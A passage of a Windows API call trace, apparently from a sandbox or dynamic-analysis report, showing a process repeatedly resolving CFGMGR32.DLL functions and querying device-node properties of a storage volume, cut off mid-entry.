GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0201.402] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0201.402] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0201.402] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0201.402] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0201.402] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0201.402] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0201.402] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0201.402] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0201.403] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0201.403] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0201.403] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0201.403] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0201.403] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0201.403] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0201.403] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0201.403] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0201.403] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0201.404] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0201.404] malloc (_Size=0x18) returned 0x196ef0d1ba0 [0201.406] CM_Get_Device_IDA (in: dnDevInst=0x34, Buffer=0x67117d4f0, BufferLen=0xc9, ulFlags=0x0 | out: Buffer="STORAGE\\VOLUME\\{EBD0D398-C546-11EC-B0BF-806E6F6E6963}#0000000000100000") returned 0x0 [0201.406] malloc (_Size=0x48) returned 0x196ef0fb220 [0201.406] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d460 | out: lpSystemTimeAsFileTime=0x67117d460*(dwLowDateTime=0x58e7814d, dwHighDateTime=0x1d9eb0c)) [0201.406] SetEvent (hEvent=0x248) returned 1 [0201.409] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0201.409] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0201.409] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0201.409] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0201.410] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0201.410] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0201.410] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0201.410] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0201.410] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0201.410] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0201.410] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0201.411] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0201.411] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0201.411] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0201.411] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0201.411] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0201.411] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0201.411] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0201.412] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0201.412] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0201.412] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0201.412] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0201.412] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0201.412] malloc (_Size=0x18) returned 0x196ef0d1e60 [0201.412] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x34, ulProperty=0x2, pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608) returned 0x1a [0201.413] malloc (_Size=0x20) returned 0x196ef0f9d30 [0201.413] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x34, ulProperty=0x2, pulRegDataType=0x67117d570, Buffer=0x196ef0f9d30, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x196ef0f9d30, pulLength=0x67117d608) returned 0x0 [0201.413] free (_Block=0x196ef0f9d30) [0201.413] malloc (_Size=0x48) returned 0x196ef0fba40 [0201.413] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d4d0 | out: lpSystemTimeAsFileTime=0x67117d4d0*(dwLowDateTime=0x58e7814d, dwHighDateTime=0x1d9eb0c)) [0201.413] SetEvent (hEvent=0x248) returned 1 [0201.417] malloc (_Size=0x18) returned 0x196ef0d1ba0 [0201.417] SafeArrayPutElement (psa=0x196ee7bfaa0, rgIndices=0x67117d6d8, pv=0x196ee777cf8) returned 0x0 [0201.417] free (_Block=0x196ef0d1ba0) [0201.418] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x78) returned 0x196ee855e60 [0201.418] SafeArrayGetDim (psa=0x196ee7bfaa0) returned 0x1 [0201.418] SafeArrayGetLBound (in: psa=0x196ee7bfaa0, nDim=0x1, plLbound=0x67117d3a0 | out: plLbound=0x67117d3a0) returned 0x0 [0201.418] SafeArrayGetUBound (in: psa=0x196ee7bfaa0, nDim=0x1, plUbound=0x67117d3c0 | out: plUbound=0x67117d3c0) returned 0x0 [0201.418] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x28) returned 0x196ef3b6050 [0201.418] SafeArrayGetDim (psa=0x196ee7bfaa0) returned 0x1 [0201.425] SafeArrayGetUBound (in: psa=0x196ee7bfaa0, nDim=0x1, plUbound=0x67117d368 | out: plUbound=0x67117d368) returned 0x0 [0201.425] SafeArrayGetElemsize (psa=0x196ee7bfaa0) returned 0x8 [0201.426] SafeArrayGetElement (in: psa=0x196ee7bfaa0, rgIndices=0x67117d258, pv=0x67117d260 | out: pv=0x67117d260) returned 0x0 [0201.427] memcpy (in: _Dst=0x67117d268, _Src=0x196ef225d80, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0201.428] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ef3b6050) returned 1 [0201.429] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee855e60) returned 1 [0201.430] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0201.430] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0201.431] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0201.431] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0201.431] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0201.432] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0201.432] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0201.433] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0201.433] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0201.433] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0201.434] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0201.434] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0201.435] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0201.435] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0201.440] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0201.440] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0201.440] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0201.441] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0201.441] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0201.441] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0201.441] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0201.442] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0201.442] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0201.442] malloc (_Size=0x18) returned 0x196ef0d1f60 [0201.442] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x34, ulProperty=0x3, pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608) returned 0x25 [0201.443] malloc (_Size=0x48) returned 0x196ef0fb4f0 [0201.443] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d4d0 | out: lpSystemTimeAsFileTime=0x67117d4d0*(dwLowDateTime=0x58ec4cc9, dwHighDateTime=0x1d9eb0c)) [0201.443] SetEvent (hEvent=0x248) returned 1 [0201.641] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0201.641] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0201.641] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0201.642] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0201.642] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0201.642] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0201.642] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0201.642] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0201.642] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0201.642] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0201.643] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0201.643] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0201.643] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0201.643] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0201.643] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0201.643] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0201.643] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0201.644] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0201.644] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0201.644] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0201.644] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0201.644] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0201.644] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0201.644] malloc (_Size=0x18) returned 0x196ef0d2020 [0201.645] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x34, ulProperty=0xc, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0201.650] malloc (_Size=0x48) returned 0x196ef0fb590 [0201.650] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x590b4323, dwHighDateTime=0x1d9eb0c)) [0201.651] SetEvent (hEvent=0x248) returned 1 [0201.652] SetEvent (hEvent=0x248) returned 1 [0201.682] free (_Block=0x196ef0fb590) [0201.955] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x34, ulProperty=0x9, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0201.955] malloc (_Size=0x48) returned 0x196ef0fb6d0 [0201.955] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x593af2b7, dwHighDateTime=0x1d9eb0c)) [0201.955] SetEvent (hEvent=0x248) returned 1 [0201.959] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0201.959] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0201.960] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0201.960] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0201.960] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0201.960] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0201.960] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0201.960] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0201.961] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0201.961] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0201.961] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0201.961] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0201.961] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0201.961] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0201.961] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0201.961] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0201.962] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0201.962] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0201.962] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0201.962] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0201.962] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0201.962] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0201.962] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0201.962] malloc (_Size=0x18) returned 0x196ef0d1fe0 [0201.963] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x34, ulProperty=0x8, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0201.963] malloc (_Size=0x48) returned 0x196ef0fb720 [0201.963] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x593af2b7, dwHighDateTime=0x1d9eb0c)) [0201.963] SetEvent (hEvent=0x248) returned 1 [0201.967] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0201.967] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0201.967] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0201.967] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0201.967] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0201.967] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0201.967] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0201.968] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0201.968] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0201.968] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0201.968] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0201.968] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0201.968] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0201.968] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0201.968] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0201.969] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0201.969] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0201.969] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0201.969] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0201.969] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0201.969] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0201.969] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0201.970] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0201.970] malloc (_Size=0x18) returned 0x196ef0d1e00 [0201.970] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x34, ulProperty=0x5, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0201.970] malloc (_Size=0x48) returned 0x196ef0fba40 [0201.970] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x593d565c, dwHighDateTime=0x1d9eb0c)) [0201.970] SetEvent (hEvent=0x248) returned 1 [0201.975] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0201.975] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0201.976] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0201.976] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0201.976] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0201.976] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0201.976] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0201.976] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0201.976] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0201.977] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0201.977] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0201.977] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0201.977] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0201.977] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0201.977] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0201.977] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0201.978] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0201.978] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0201.978] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0201.978] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0201.978] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0201.978] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0201.978] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0201.979] malloc (_Size=0x18) returned 0x196ef0d1da0 [0201.979] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x34, ulProperty=0x1, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0201.981] malloc (_Size=0x48) returned 0x196ef0fb310 [0201.981] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x593fb71e, dwHighDateTime=0x1d9eb0c)) [0201.982] SetEvent (hEvent=0x248) returned 1 [0201.985] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0201.985] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0201.985] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0201.985] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0201.985] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0201.985] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0201.986] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0201.986] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0201.986] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0201.986] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0201.986] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0201.986] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0201.986] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0201.987] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0201.987] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0201.987] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0201.987] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0201.987] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0201.987] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0201.987] GetProcAddress (hModule=0x7ffa786c0000, 